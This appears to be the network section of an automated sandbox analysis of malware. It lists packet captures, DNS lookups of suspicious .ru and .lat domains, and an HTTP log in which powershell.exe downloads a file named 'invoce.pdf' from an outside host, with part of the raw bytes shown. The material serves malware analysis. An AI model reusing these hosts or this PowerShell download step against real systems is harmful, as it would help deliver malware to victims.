Dec 18, 2024 09:23:49.161535025 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.161844015 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.161905050 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.161971092 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.163598061 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.163651943 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.163800001 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.165611982 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.165628910 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.165689945 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.167295933 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.167306900 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.167344093 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.168965101 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.169106960 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.169142962 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.171001911 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.171084881 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.171322107 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.172713041 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.172787905 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.172936916 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.173914909 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.174058914 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.174093008 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.175215960 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.175301075 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.175688028 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.176601887 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.176734924 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.177030087 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.177989006 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.178000927 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.178069115 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.179224968 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.179327965 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.189412117 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.189834118 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.189898968 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.190201044 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.190319061 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.190382957 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.191205025 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.191390038 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.191500902 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.192347050 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.227070093 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.227097034 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.227200985 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.227353096 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.227366924 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.227416039 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.228297949 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.228390932 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.228451014 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.229214907 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.229269981 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.251816988 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.251851082 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.251974106 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.252135992 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.252348900 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.252500057 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.252883911 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.252976894 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.253036976 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.253751993 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:49.299227953 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:49.592564106 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:18.341870070 CET	49793	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:18.461404085 CET	80	49793	94.156.177.51	192.168.2.6
Dec 18, 2024 09:24:18.461545944 CET	49793	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:18.461728096 CET	49793	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:18.461728096 CET	49793	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:18.581612110 CET	80	49793	94.156.177.51	192.168.2.6
Dec 18, 2024 09:24:18.581641912 CET	80	49793	94.156.177.51	192.168.2.6
Dec 18, 2024 09:24:20.867991924 CET	80	49793	94.156.177.51	192.168.2.6
Dec 18, 2024 09:24:20.907908916 CET	49793	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:21.009568930 CET	49799	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:21.129095078 CET	80	49799	94.156.177.51	192.168.2.6
Dec 18, 2024 09:24:21.129205942 CET	49799	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:21.129342079 CET	49799	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:21.129352093 CET	49799	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:21.248881102 CET	80	49799	94.156.177.51	192.168.2.6
Dec 18, 2024 09:24:21.248985052 CET	80	49799	94.156.177.51	192.168.2.6
Dec 18, 2024 09:24:22.506104946 CET	80	49799	94.156.177.51	192.168.2.6
Dec 18, 2024 09:24:22.548444986 CET	49799	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:24:22.646789074 CET	49806	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:24:22.766379118 CET	80	49806	109.70.26.37	192.168.2.6
Dec 18, 2024 09:24:22.766478062 CET	49806	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:24:22.766659021 CET	49806	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:24:22.766694069 CET	49806	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:24:22.886290073 CET	80	49806	109.70.26.37	192.168.2.6
Dec 18, 2024 09:24:22.886306047 CET	80	49806	109.70.26.37	192.168.2.6
Dec 18, 2024 09:24:24.101969004 CET	80	49806	109.70.26.37	192.168.2.6
Dec 18, 2024 09:24:24.142189026 CET	49806	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:25:29.157815933 CET	49793	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:29.159859896 CET	49964	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:29.277730942 CET	80	49793	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:29.277803898 CET	49793	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:29.279330015 CET	80	49964	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:29.279495955 CET	49964	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:29.279928923 CET	49964	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:29.279949903 CET	49964	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:29.399816990 CET	80	49964	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:29.399919033 CET	80	49964	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:31.334613085 CET	80	49964	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:31.432430983 CET	49964	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:31.650513887 CET	49799	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:31.651161909 CET	49970	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:31.770574093 CET	80	49799	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:31.770642042 CET	49799	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:31.770664930 CET	80	49970	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:31.770761967 CET	49970	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:31.771037102 CET	49970	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:31.771053076 CET	49970	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:31.890561104 CET	80	49970	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:31.890602112 CET	80	49970	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:33.122216940 CET	80	49970	94.156.177.51	192.168.2.6
Dec 18, 2024 09:25:33.124886990 CET	49806	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:25:33.125716925 CET	49974	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:25:33.244885921 CET	80	49806	109.70.26.37	192.168.2.6
Dec 18, 2024 09:25:33.244951963 CET	49806	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:25:33.245282888 CET	80	49974	109.70.26.37	192.168.2.6
Dec 18, 2024 09:25:33.245824099 CET	49974	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:25:33.245955944 CET	49974	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:25:33.245969057 CET	49974	80	192.168.2.6	109.70.26.37
Dec 18, 2024 09:25:33.298643112 CET	49970	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:25:33.365622044 CET	80	49974	109.70.26.37	192.168.2.6
Dec 18, 2024 09:25:33.365657091 CET	80	49974	109.70.26.37	192.168.2.6
Dec 18, 2024 09:25:55.153520107 CET	80	49974	109.70.26.37	192.168.2.6
Dec 18, 2024 09:25:55.153603077 CET	49974	80	192.168.2.6	109.70.26.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 09:23:45.636852980 CET	51584	53	192.168.2.6	1.1.1.1
Dec 18, 2024 09:23:45.780843019 CET	53	51584	1.1.1.1	192.168.2.6
Dec 18, 2024 09:23:59.507097960 CET	54853	53	192.168.2.6	1.1.1.1
Dec 18, 2024 09:24:18.201292038 CET	62671	53	192.168.2.6	1.1.1.1
Dec 18, 2024 09:24:18.340756893 CET	53	62671	1.1.1.1	192.168.2.6
Dec 18, 2024 09:24:20.870436907 CET	53499	53	192.168.2.6	1.1.1.1
Dec 18, 2024 09:24:21.008048058 CET	53	53499	1.1.1.1	192.168.2.6
Dec 18, 2024 09:24:22.509027004 CET	53184	53	192.168.2.6	1.1.1.1
Dec 18, 2024 09:24:22.646070957 CET	53	53184	1.1.1.1	192.168.2.6
Dec 18, 2024 09:24:37.831255913 CET	57990	53	192.168.2.6	1.1.1.1
Dec 18, 2024 09:24:37.969235897 CET	53	57990	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 09:23:45.636852980 CET	192.168.2.6	1.1.1.1	0x2e16	Standard query (0)	spotcarservice.ru	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:23:59.507097960 CET	192.168.2.6	1.1.1.1	0x92a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:18.201292038 CET	192.168.2.6	1.1.1.1	0xb312	Standard query (0)	constractionscity1991.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:20.870436907 CET	192.168.2.6	1.1.1.1	0x3dea	Standard query (0)	restructurisationservice.ru	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:22.509027004 CET	192.168.2.6	1.1.1.1	0xa4e6	Standard query (0)	connecticutproperty.ru	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:37.831255913 CET	192.168.2.6	1.1.1.1	0x41bd	Standard query (0)	connecticutproperty.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 09:23:45.780843019 CET	1.1.1.1	192.168.2.6	0x2e16	No error (0)	spotcarservice.ru		94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:23:59.741986036 CET	1.1.1.1	192.168.2.6	0x92a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 09:24:01.531699896 CET	1.1.1.1	192.168.2.6	0x6039	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 09:24:01.531699896 CET	1.1.1.1	192.168.2.6	0x6039	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.100	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:01.531699896 CET	1.1.1.1	192.168.2.6	0x6039	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.99	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:01.531699896 CET	1.1.1.1	192.168.2.6	0x6039	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.101	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:01.531699896 CET	1.1.1.1	192.168.2.6	0x6039	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.99	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:01.531699896 CET	1.1.1.1	192.168.2.6	0x6039	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.98	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:13.896281958 CET	1.1.1.1	192.168.2.6	0x7396	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 09:24:13.896281958 CET	1.1.1.1	192.168.2.6	0x7396	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.99	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:13.896281958 CET	1.1.1.1	192.168.2.6	0x7396	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.98	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:13.896281958 CET	1.1.1.1	192.168.2.6	0x7396	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.100	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:13.896281958 CET	1.1.1.1	192.168.2.6	0x7396	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.99	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:13.896281958 CET	1.1.1.1	192.168.2.6	0x7396	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.101	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:18.340756893 CET	1.1.1.1	192.168.2.6	0xb312	No error (0)	constractionscity1991.lat		94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:21.008048058 CET	1.1.1.1	192.168.2.6	0x3dea	No error (0)	restructurisationservice.ru		94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:22.646070957 CET	1.1.1.1	192.168.2.6	0xa4e6	No error (0)	connecticutproperty.ru		109.70.26.37	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:22.646070957 CET	1.1.1.1	192.168.2.6	0xa4e6	No error (0)	connecticutproperty.ru		194.85.61.76	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:37.969235897 CET	1.1.1.1	192.168.2.6	0x41bd	No error (0)	connecticutproperty.ru		109.70.26.37	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:24:37.969235897 CET	1.1.1.1	192.168.2.6	0x41bd	No error (0)	connecticutproperty.ru		194.85.61.76	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:25:01.716366053 CET	1.1.1.1	192.168.2.6	0xa190	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:25:01.716366053 CET	1.1.1.1	192.168.2.6	0xa190	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:25:14.447381020 CET	1.1.1.1	192.168.2.6	0xbcc5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:25:14.447381020 CET	1.1.1.1	192.168.2.6	0xbcc5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:25:38.829957008 CET	1.1.1.1	192.168.2.6	0x2f67	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 09:25:38.829957008 CET	1.1.1.1	192.168.2.6	0x2f67	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.100	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:25:38.829957008 CET	1.1.1.1	192.168.2.6	0x2f67	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.101	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:25:38.829957008 CET	1.1.1.1	192.168.2.6	0x2f67	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.99	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:25:38.829957008 CET	1.1.1.1	192.168.2.6	0x2f67	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.98	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

spotcarservice.ru

vddxydaigau.net

constractionscity1991.lat

aulnrowynyq.net

restructurisationservice.ru

twtxlpyjnilpgrob.com

connecticutproperty.ru

mafqwfpcjavfosdj.net

ycbfvshcmwtbjy.org

islwwuiodhvp.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49708	94.156.177.51	80	2828	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:23:45.913357973 CET	89	OUT	GET /fdjskf88cvt/invoce.pdf HTTP/1.1 Host: spotcarservice.ru Connection: Keep-Alive
Dec 18, 2024 09:23:47.256933928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 08:23:47 GMT Content-Type: application/pdf Content-Length: 145906 Connection: keep-alive Last-Modified: Tue, 05 Nov 2024 01:44:17 GMT ETag: "239f2-626208a0a3e40" Accept-Ranges: bytes Data Raw: 25 50 44 46 2d 31 2e 37 0a 25 e2 e3 cf d3 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 2f 4c 65 6e 67 74 68 20 32 20 30 20 52 0a 2f 4c 65 6e 67 74 68 31 20 34 33 34 38 30 0a 2f 4c 65 6e 67 74 68 32 20 30 0a 2f 4c 65 6e 67 74 68 33 20 30 0a 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c ed bd 09 58 54 47 b6 38 5e 55 77 eb db eb ed a6 e9 85 ad 6f 0b 34 68 b3 09 ad b8 10 b9 c8 a2 04 15 14 54 48 42 04 05 85 b8 b0 6b 56 35 bb 9a 4c 34 93 c5 6c 33 9a 4c a2 d9 45 88 0a 1a 27 64 5f e6 e5 c5 99 2c 63 96 99 f8 32 66 9b 84 89 33 e3 38 26 4a f3 3f 55 b7 41 4c 32 f3 bd f7 fe cb f7 fb 7f 5f ba a9 5b eb a9 3a 75 ea d4 a9 73 aa ea 36 08 23 84 8c 68 23 e2 90 ba 6c 6d a7 3a fc e2 53 b3 20 e5 49 84 a4 ba e5 ad 2b 56 1f 4c b1 ef 42 c8 60 46 48 9c b1 62 d5 15 cb 37 2f f9 73 2e 42 d6 39 08 cd 7f b2 a9 b1 be e1 ab bb 56 42 fe 92 d3 00 33 b9 09 12 1c eb e5 10 42 75 59 10 4f 6a 5a dd 79 f9 99 8b 52 de 84 78 15 42 f8 c9 55 2d cb ea 91 6d fb 11 84 96 42 36 ee 5e 5d 7f 79 ab a1 41 bc [TRUNCATED] Data Ascii: %PDF-1.7%1 0 obj<</Filter /FlateDecode/Length 2 0 R/Length1 43480/Length2 0/Length3 0>>streamxXTG8^Uwo4hTHBkV5L4l3LE'd_,c2f38&J?UAL2_[:us6#h#lm:S I+VLB`FHb7/s.B9VB3BuYOjZyRxBU-mB6^]yAe_ eBV\|m?AnPBG\y8>3z{UCnt{DTxO4BNT\h!*<[kDt0#Q.F%){p_=\|Zu<T>&[mQyf-$8(jSD7{{BwQI-W(<-EhZ+?G"BS3Os#yxb^1[8?P4:Y-6tO#33(2YG_h6_X{K(z[vF :m>Dcx)Iy{{c@D4D?-,@Y_[v\|t?y=c3<(AW@_^O.;:<7q7>&2GI+<BqsJM&^#Tc(z-p#96>?_/V:&\|'~D;L'Eji:]G
Dec 18, 2024 09:23:47.256951094 CET	1236	IN	Data Raw: 77 42 eb 6f c1 f7 08 f9 80 fc 81 7c 45 fe c1 09 dc 38 6e 32 d7 c6 3d c8 75 73 7d dc 11 ee 33 5e e1 03 7c 06 3f 91 2f e7 2f e2 87 61 64 b2 85 59 42 a5 f0 a8 f0 84 f0 82 70 42 cc 13 1b c4 56 f1 0b e9 3a e9 06 c3 7f 0c 4d 18 fa 63 18 85 9b c2 dd e1 Data Ascii: wBo\|E8n2=us}3^\|?//adYBpBV:Mc^]p@_1x(1tF!q=2</F\|"AR@*I=i$73=H^'d0ws\rqskz[ O+{3o9j>$<'gE
Dec 18, 2024 09:23:47.256963015 CET	1236	IN	Data Raw: 37 be 11 9a 54 69 4f 68 af f4 fe 35 26 16 d3 94 ba cb d4 6e 39 71 66 62 d3 96 cb ea 60 68 62 b6 74 a3 05 57 f8 7b 62 62 b4 fe e1 63 28 a6 58 dd 52 55 9d e8 ef ce 8f 4d ac a9 2f 8a db eb 44 5b 16 5c d1 eb d5 54 ef f9 39 e9 69 7b 15 bb 4e d8 bd 56 Data Ascii: 7TiOh5&n9qfb`hbtW{bbc(XRUM/D[\T9i{NV[$`4+NCeF))F20N>M)h)P>5`D-4Nd%Q8)1YA'#`{"R!)8'#[< LtoRto_U4i
Dec 18, 2024 09:23:47.257092953 CET	1236	IN	Data Raw: 5d 45 37 6b 71 53 1c 53 e2 4b 1d 60 e1 09 26 27 e7 34 25 71 af 99 3f e3 3e 35 7f e1 90 25 1b 1d 34 9b aa 25 05 42 7b 54 7c 42 c5 aa 6a 75 43 5a 0f 12 3d 34 2b ca 6a 94 a2 fc 3c 1f e7 3f 62 c4 c6 82 71 6e 4f c0 4a 3b 61 a3 9d b0 e2 13 56 fc b1 15 Data Ascii: ]E7kqSSK`&'4%q?>5%4%B{T\|BjuCZ=4+j<?bqnOJ;aV[HGjs2sP` I{p^6s0(9'dgW[j2kRs+'g*:4sZ@SXKl<GI\HAP%B5>
Dec 18, 2024 09:23:47.257106066 CET	1236	IN	Data Raw: 82 08 ef c3 44 73 28 d2 0e e9 39 89 93 62 6c f9 20 6b 08 f1 5a 0f e2 39 78 36 a2 e4 39 de 06 b3 69 ee 49 3a 97 81 bf 40 5d 02 a6 c3 b0 e8 c2 b2 8b 98 47 17 5f 1e 16 5f 9b cd 16 51 49 4c e9 e6 0b cc 73 cd 6f 9a ff 60 16 10 d5 35 80 07 51 6d 10 66 Data Ascii: Ds(9bl kZ9x69iI:@]G__QILso`5Qmf$LrC?\|"~u'afr?/[gasQT.Y$(8YYP\|V2kuiAR~ZGk7GM%v;s<\N3o \~E14s
Dec 18, 2024 09:23:47.257117987 CET	1236	IN	Data Raw: e8 10 70 d9 13 5a 82 a0 f9 c1 98 15 14 f2 1c 55 59 21 4c 48 a6 31 1f 28 a2 41 11 e3 41 c0 d5 ac 9b b7 e6 7c 0b 98 b7 83 c1 da 1c 2f 28 a7 39 9e 4c 1a fe 2c 48 ed 39 18 04 8a 2f 35 7e dc 6c 7d 01 73 f7 e6 0c 0f f5 e8 6a 12 1c fd 50 6b b6 36 08 aa Data Ascii: pZUY!LH1(AA\|/(9L,H9/5~l}sjPk6Dx?C7Nq8yz6$-LAF(oQrd-%x{q#m]UM{oo^[hx8Gh8z5/99
Dec 18, 2024 09:23:47.257133007 CET	1236	IN	Data Raw: 7a 7b 85 15 5b 45 1b 68 76 18 46 74 98 a9 30 9d 3d 71 c8 4f 33 e3 9c 60 20 60 9c e4 b7 17 04 eb 82 ad 41 92 e0 f7 98 b4 69 93 40 44 56 4f 50 4e 66 d3 41 6b 53 4e c2 90 e5 64 b2 cd 07 18 b7 cc b6 fc da a1 ec 11 73 b8 16 e7 b0 6d 80 44 2a fd e8 18 Data Ascii: z{[EhvFt0=qO3` `Ai@DVOPNfAkSNdsmD!]+&ssTObcnzt%qN=6zpmx{swjShx:8<(ol=al69Hag-otfi}]k=!*zAA`>`M0]
Dec 18, 2024 09:23:47.257335901 CET	1236	IN	Data Raw: d0 b6 a2 6c 36 2b 6f 53 8e 49 47 8f b8 b1 e6 c6 ee 18 9f 95 0a 0f 87 65 1d 7e f6 08 c2 1a da 81 f6 d0 4d a5 84 b7 fb f1 ac 88 41 4a a5 c5 f1 79 f4 50 03 02 74 b5 54 98 a9 4c cf 01 46 77 66 6a db ec 8e 73 27 51 a3 bb 33 6c 23 e1 bc 6d 99 14 aa 75 Data Ascii: l6+oSIGe~MAJyPtTLFwfjs'Q3l#muJCw.W^QEm]3KZn~r&tgd%,le}UxjK\|yd4\+MRnNn1c1vJ{,?@{]MQ7
Dec 18, 2024 09:23:47.257349014 CET	1236	IN	Data Raw: 4f f2 0e 1e 6f e5 31 cf 5b b9 64 44 6c c9 56 42 9c 29 8a ac c2 0a 4e 89 61 89 c9 8a c1 9c 4d 55 ad 59 56 62 a5 3b 34 5e b6 43 53 ab 53 01 65 0e e6 0f 81 04 6b a3 07 fb 98 ee 5f 45 8f 1e ca 46 4e 65 19 9b fb ef e7 67 9f 3d 86 6f 7d f8 e8 bd f7 bd Data Ascii: Oo1[dDlVB)NaMUYVb;4^CSSek_EFNeg=o}h}`Kk{oO8z];[WV0^,^ob^iqn"/28l#5XL/C61P.{C".W9,$graGqB$bp\9(c
Dec 18, 2024 09:23:47.257360935 CET	1236	IN	Data Raw: 5f 6c 2d 33 96 ae 92 71 10 bf b0 71 e3 e3 39 e1 3d b0 de 99 87 70 30 fc 7e 8e a6 5d 75 f5 e8 9d b3 5c 3e 00 b2 a0 b0 1f 09 80 ab 07 89 9c 64 e4 02 84 dd 35 23 78 18 a6 5f 9e 0c 78 8f 5e 65 92 f0 09 09 4b f9 86 c8 55 a6 93 f4 f9 3d 09 b1 89 db 13 Data Ascii: _l-3qq9=p0~]u\>d5#x_x^eKU=<\|=[v=V^")$FY<wP5CO4*{4k,{>$4$p0SI6Ch^oBON]l"oV.czX/ed
